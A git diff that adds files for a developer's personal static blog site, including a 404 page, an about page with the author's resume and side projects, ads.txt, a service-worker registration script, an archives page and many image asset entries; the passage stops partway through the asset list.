diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 0000000000..d71c5b503b --- /dev/null +++ b/404.html @@ -0,0 +1 @@ + 404: Page not found | ZhgChgLi
Home 404: Page not found
404: Page not found
Cancel

404: Page not found

Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.

diff --git a/CNAME b/CNAME new file mode 100644 index 0000000000..37aff6ebaf --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +en.zhgchg.li \ No newline at end of file diff --git a/about/index.html b/about/index.html new file mode 100644 index 0000000000..8e5d616f1d --- /dev/null +++ b/about/index.html @@ -0,0 +1 @@ + About | ZhgChgLi
Home About
About
Cancel

About

Harry Li (ZhgChg Li)

iOS/Web Developer @ Taipei / Taiwan 🇹🇼

Skills

  • iOS (Swift/Obj-C)
  • Web (PHP/Laravel/MySQL/JavaScript/Jquery/HTML/CSS3/Bootstrap)
  • Tools (Ruby/Python/Git)

Resume

Education

National Taiwan University of Science and Technology

  • [2012 ~ 2016] Bachelor’s degree, Information Management.

Experience

Pinkoi | 亞洲領先設計購物網站| Design the way you are

  • [2022/01 ~ 2023/08] App Platform Team Engineer Lead
  • [2021/03 ~ 2023/08] iOS Developer
  • [2021/07 ~ 2021/12] iOS Team Lead

StreetVoice 街聲- 最潮音樂社群

  • [2019/12 ~ 2021/02] iOS Developer

結婚吧一站式婚禮服務平台 - 線上準備婚禮最安心

  • [2017/10 ~ 2019/10] iOS Developer
  • [2017/02 ~ 2017/10] Backend Developer

Starwing Technology Co

  • [2015/07 ~ 2016/06] FullStack Developer

Speeches

Accomplishments

第 42 屆國際技能競賽

  • [2012] 網頁設計 備取國手

第 41 屆全國技能競賽

  • [2011] 網頁設計 冠軍🇹🇼

My works (side project)

ZMarkupParser

ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.

ZMarkupParser

ZMediumToMarkdown

ZMediumToMarkdown is a powerful tool that allows you to effortlessly download and convert your Medium posts to Markdown format.

ZMediumToMarkdown

ZReviewTender

ZReviewTender is a tool for fetching app reviews from the App Store and Google Play Console and integrating them into your workflow.

ZReviewTender

diff --git a/ads.txt b/ads.txt new file mode 100644 index 0000000000..127e3932e0 --- /dev/null +++ b/ads.txt @@ -0,0 +1 @@ +google.com, pub-3184248473087645, DIRECT, f08c47fec0942fa0 diff --git a/app.js b/app.js new file mode 100644 index 0000000000..c6d1832d6d --- /dev/null +++ b/app.js @@ -0,0 +1 @@ +const $notification = $('#notification'); const $btnRefresh = $('#notification .toast-body>button'); if ('serviceWorker' in navigator) { /* Registering Service Worker */ navigator.serviceWorker.register('/sw.js') .then(registration => { /* in case the user ignores the notification */ if (registration.waiting) { $notification.toast('show'); } registration.addEventListener('updatefound', () => { registration.installing.addEventListener('statechange', () => { if (registration.waiting) { if (navigator.serviceWorker.controller) { $notification.toast('show'); } } }); }); $btnRefresh.click(() => { if (registration.waiting) { registration.waiting.postMessage('SKIP_WAITING'); } $notification.toast('hide'); }); }); let refreshing = false; /* Detect controller change and refresh all the opened tabs */ navigator.serviceWorker.addEventListener('controllerchange', () => { if (!refreshing) { window.location.reload(); refreshing = true; } }); } diff --git a/archives/index.html b/archives/index.html new file mode 100644 index 0000000000..f70456ef65 --- /dev/null +++ b/archives/index.html @@ -0,0 +1 @@ + Archives | ZhgChgLi
Home Archives
Archives
Cancel

Archives

2024
2023
2022
2021
2020
2019
2018
diff --git a/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png b/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png new file mode 100644 index 0000000000..28ed823863 Binary files /dev/null and b/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png differ diff --git a/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png b/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png new file mode 100644 index 0000000000..c227c1911b Binary files /dev/null and b/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png differ diff --git a/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png b/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png new file mode 100644 index 0000000000..abb358a7d8 Binary files /dev/null and b/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png differ diff --git a/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png b/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png new file mode 100644 index 0000000000..3c9e72a2f9 Binary files /dev/null and b/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png differ diff --git a/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg b/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg new file mode 100644 index 0000000000..ea87b81e11 Binary files /dev/null and b/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg differ diff --git a/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png b/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png new file mode 100644 index 0000000000..97c1664ac0 Binary files /dev/null and b/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png differ diff --git a/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg b/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg new file mode 100644 index 0000000000..c6c1fdee86 Binary files /dev/null and b/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg differ diff --git a/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg b/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg new file mode 100644 index 0000000000..21a70e02bb Binary files /dev/null and b/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg differ diff --git a/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png b/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png new file mode 100644 index 0000000000..a6675bb39c Binary files /dev/null and b/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png differ diff --git a/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg b/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg new file mode 100644 index 0000000000..e2d183f4af Binary files /dev/null and b/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg differ diff --git a/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg b/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg new file mode 100644 index 0000000000..06cb9e6a14 Binary files /dev/null and b/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg differ diff --git a/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png b/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png new file mode 100644 index 0000000000..cc4d5e376e Binary files /dev/null and b/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png differ diff --git a/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png b/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png new file mode 100644 index 0000000000..51c3f22e7c Binary files /dev/null and b/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png differ diff --git a/assets/118e924a1477/1*UtMDrzkRNZsbHvVaRla05w.png b/assets/118e924a1477/1*UtMDrzkRNZsbHvVaRla05w.png new file mode 100644 index 0000000000..c193be68f4 Binary files /dev/null and b/assets/118e924a1477/1*UtMDrzkRNZsbHvVaRla05w.png differ diff --git a/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg b/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg new file mode 100644 index 0000000000..550b59486b Binary files /dev/null and b/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg differ diff --git a/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg b/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg new file mode 100644 index 0000000000..76d69b5aa8 Binary files /dev/null and b/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg differ diff --git a/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg b/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg new file mode 100644 index 0000000000..ae0de40359 Binary files /dev/null and b/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg differ diff --git a/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png b/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png new file mode 100644 index 0000000000..aceaee58c4 Binary files /dev/null and b/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png differ diff --git a/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg b/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg new file mode 100644 index 0000000000..c01a1771a6 Binary files /dev/null and b/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg differ diff --git a/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png b/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png new file mode 100644 index 0000000000..10d866fe53 Binary files /dev/null and b/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png differ diff --git a/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png b/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png new file mode 100644 index 0000000000..1a32f28a2c Binary files /dev/null and b/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png differ diff --git a/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png b/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png new file mode 100644 index 0000000000..f5eca7bff6 Binary files /dev/null and b/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png differ diff --git a/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png b/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png new file mode 100644 index 0000000000..c2c9fed596 Binary files /dev/null and b/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png differ diff --git a/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png b/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png new file mode 100644 index 0000000000..b0e8de8721 Binary files /dev/null and b/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png differ diff --git a/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png b/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png new file mode 100644 index 0000000000..362e76cb96 Binary files /dev/null and b/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png differ diff --git a/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg b/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg new file mode 100644 index 0000000000..f4f644fd5b Binary files /dev/null and b/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg differ diff --git a/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png b/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png new file mode 100644 index 0000000000..eba57a5ee8 Binary files /dev/null and b/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png differ diff --git a/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png b/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png new file mode 100644 index 0000000000..22eb09d6ce Binary files /dev/null and b/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png differ diff --git a/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png b/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png new file mode 100644 index 0000000000..ae21506ce0 Binary files /dev/null and b/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png differ diff --git a/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg b/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg new file mode 100644 index 0000000000..67587f7c09 Binary files /dev/null and b/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg differ diff --git a/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png b/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png new file mode 100644 index 0000000000..ef4732619f Binary files /dev/null and b/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png differ diff --git a/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png b/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png new file mode 100644 index 0000000000..9c3674ac40 Binary files /dev/null and b/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png differ diff --git a/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png b/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png new file mode 100644 index 0000000000..72819d4568 Binary files /dev/null and b/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png differ diff --git a/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png b/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png new file mode 100644 index 0000000000..107131d36e Binary files /dev/null and b/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png differ diff --git a/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png b/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png new file mode 100644 index 0000000000..8b48a6fbe4 Binary files /dev/null and b/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png differ diff --git a/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png b/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png new file mode 100644 index 0000000000..901e189896 Binary files /dev/null and b/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png differ diff --git a/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png b/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png new file mode 100644 index 0000000000..c52a362eeb Binary files /dev/null and b/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png differ diff --git a/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png b/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png new file mode 100644 index 0000000000..25911cf888 Binary files /dev/null and b/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png differ diff --git a/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png b/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png new file mode 100644 index 0000000000..48fe34a413 Binary files /dev/null and b/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png differ diff --git a/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png b/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png new file mode 100644 index 0000000000..aa41005e67 Binary files /dev/null and b/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png differ diff --git a/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png b/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png new file mode 100644 index 0000000000..e2dbf0f309 Binary files /dev/null and b/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png differ diff --git a/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png b/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png new file mode 100644 index 0000000000..97910ceba1 Binary files /dev/null and b/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png differ diff --git a/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png b/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png new file mode 100644 index 0000000000..af9473e10e Binary files /dev/null and b/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png differ diff --git a/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png b/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png new file mode 100644 index 0000000000..737a9c6de0 Binary files /dev/null and b/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png differ diff --git a/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png b/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png new file mode 100644 index 0000000000..cd31d24956 Binary files /dev/null and b/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png differ diff --git a/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png b/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png new file mode 100644 index 0000000000..d2a28bbb8d Binary files /dev/null and b/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png differ diff --git a/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png b/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png new file mode 100644 index 0000000000..035326f5b3 Binary files /dev/null and b/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png differ diff --git a/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png b/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png new file mode 100644 index 0000000000..c05892f196 Binary files /dev/null and b/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png differ diff --git a/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png b/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png new file mode 100644 index 0000000000..dbc1f7c1cf Binary files /dev/null and b/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png differ diff --git a/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png b/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png new file mode 100644 index 0000000000..bdb689ec8d Binary files /dev/null and b/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png differ diff --git a/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png b/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png new file mode 100644 index 0000000000..c99e1370c0 Binary files /dev/null and b/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png differ diff --git a/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg b/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg new file mode 100644 index 0000000000..0ae8b70328 Binary files /dev/null and b/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg differ diff --git a/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png b/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png new file mode 100644 index 0000000000..4fd4113297 Binary files /dev/null and b/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png differ diff --git a/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png b/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png new file mode 100644 index 0000000000..6bd44bd565 Binary files /dev/null and b/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png differ diff --git a/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png b/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png new file mode 100644 index 0000000000..ee67fb1cc8 Binary files /dev/null and b/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png differ diff --git a/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png b/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png new file mode 100644 index 0000000000..0ec3c2de72 Binary files /dev/null and b/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png differ diff --git a/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png b/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png new file mode 100644 index 0000000000..aa289da6f0 Binary files /dev/null and b/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png differ diff --git a/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png b/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png new file mode 100644 index 0000000000..06e6b246ac Binary files /dev/null and b/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png differ diff --git a/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png b/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png new file mode 100644 index 0000000000..c56350766b Binary files /dev/null and b/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png differ diff --git a/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png b/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png new file mode 100644 index 0000000000..7da1787ea4 Binary files /dev/null and b/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png differ diff --git a/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png b/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png new file mode 100644 index 0000000000..b8e0555cbf Binary files /dev/null and b/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png differ diff --git a/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png b/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png new file mode 100644 index 0000000000..4d144ac39f Binary files /dev/null and b/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png differ diff --git a/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png b/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png new file mode 100644 index 0000000000..c035a8acc0 Binary files /dev/null and b/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png differ diff --git a/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png b/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png new file mode 100644 index 0000000000..a661cd7929 Binary files /dev/null and b/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png differ diff --git a/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png b/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png new file mode 100644 index 0000000000..a9ee1d8b4e Binary files /dev/null and b/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png differ diff --git a/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png b/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png new file mode 100644 index 0000000000..587c209ab0 Binary files /dev/null and b/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png differ diff --git a/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png b/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png new file mode 100644 index 0000000000..6e623e0da6 Binary files /dev/null and b/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png differ diff --git a/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg b/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg new file mode 100644 index 0000000000..65a706369e Binary files /dev/null and b/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg differ diff --git a/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png b/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png new file mode 100644 index 0000000000..d571dbe714 Binary files /dev/null and b/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png differ diff --git a/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png b/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png new file mode 100644 index 0000000000..aaff6a066f Binary files /dev/null and b/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png differ diff --git a/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png b/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png new file mode 100644 index 0000000000..25c1cae66d Binary files /dev/null and b/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png differ diff --git a/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png b/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png new file mode 100644 index 0000000000..d5482b40b4 Binary files /dev/null and b/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png differ diff --git a/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png b/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png new file mode 100644 index 0000000000..0bb3bf9711 Binary files /dev/null and b/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png differ diff --git a/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png b/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png new file mode 100644 index 0000000000..df85f23ab8 Binary files /dev/null and b/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png differ diff --git a/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png b/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png new file mode 100644 index 0000000000..2dc5e7b8f1 Binary files /dev/null and b/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png differ diff --git a/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png b/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png new file mode 100644 index 0000000000..7c91604a93 Binary files /dev/null and b/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png differ diff --git a/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg b/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg new file mode 100644 index 0000000000..6fff9b77a4 Binary files /dev/null and b/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg differ diff --git a/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png b/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png new file mode 100644 index 0000000000..7c209106ee Binary files /dev/null and b/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png differ diff --git a/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png b/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png new file mode 100644 index 0000000000..8815307529 Binary files /dev/null and b/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png differ diff --git a/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png b/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png new file mode 100644 index 0000000000..4c4c2387f4 Binary files /dev/null and b/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png differ diff --git a/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png b/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png new file mode 100644 index 0000000000..62f34710de Binary files /dev/null and b/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png differ diff --git a/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png b/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png new file mode 100644 index 0000000000..9a0af4e385 Binary files /dev/null and b/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png differ diff --git a/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png b/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png new file mode 100644 index 0000000000..540229bc3d Binary files /dev/null and b/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png differ diff --git a/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png b/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png new file mode 100644 index 0000000000..398ba1266a Binary files /dev/null and b/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png differ diff --git a/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg b/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg new file mode 100644 index 0000000000..fa9464c843 Binary files /dev/null and b/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg differ diff --git a/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png b/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png new file mode 100644 index 0000000000..54c6faf8c1 Binary files /dev/null and 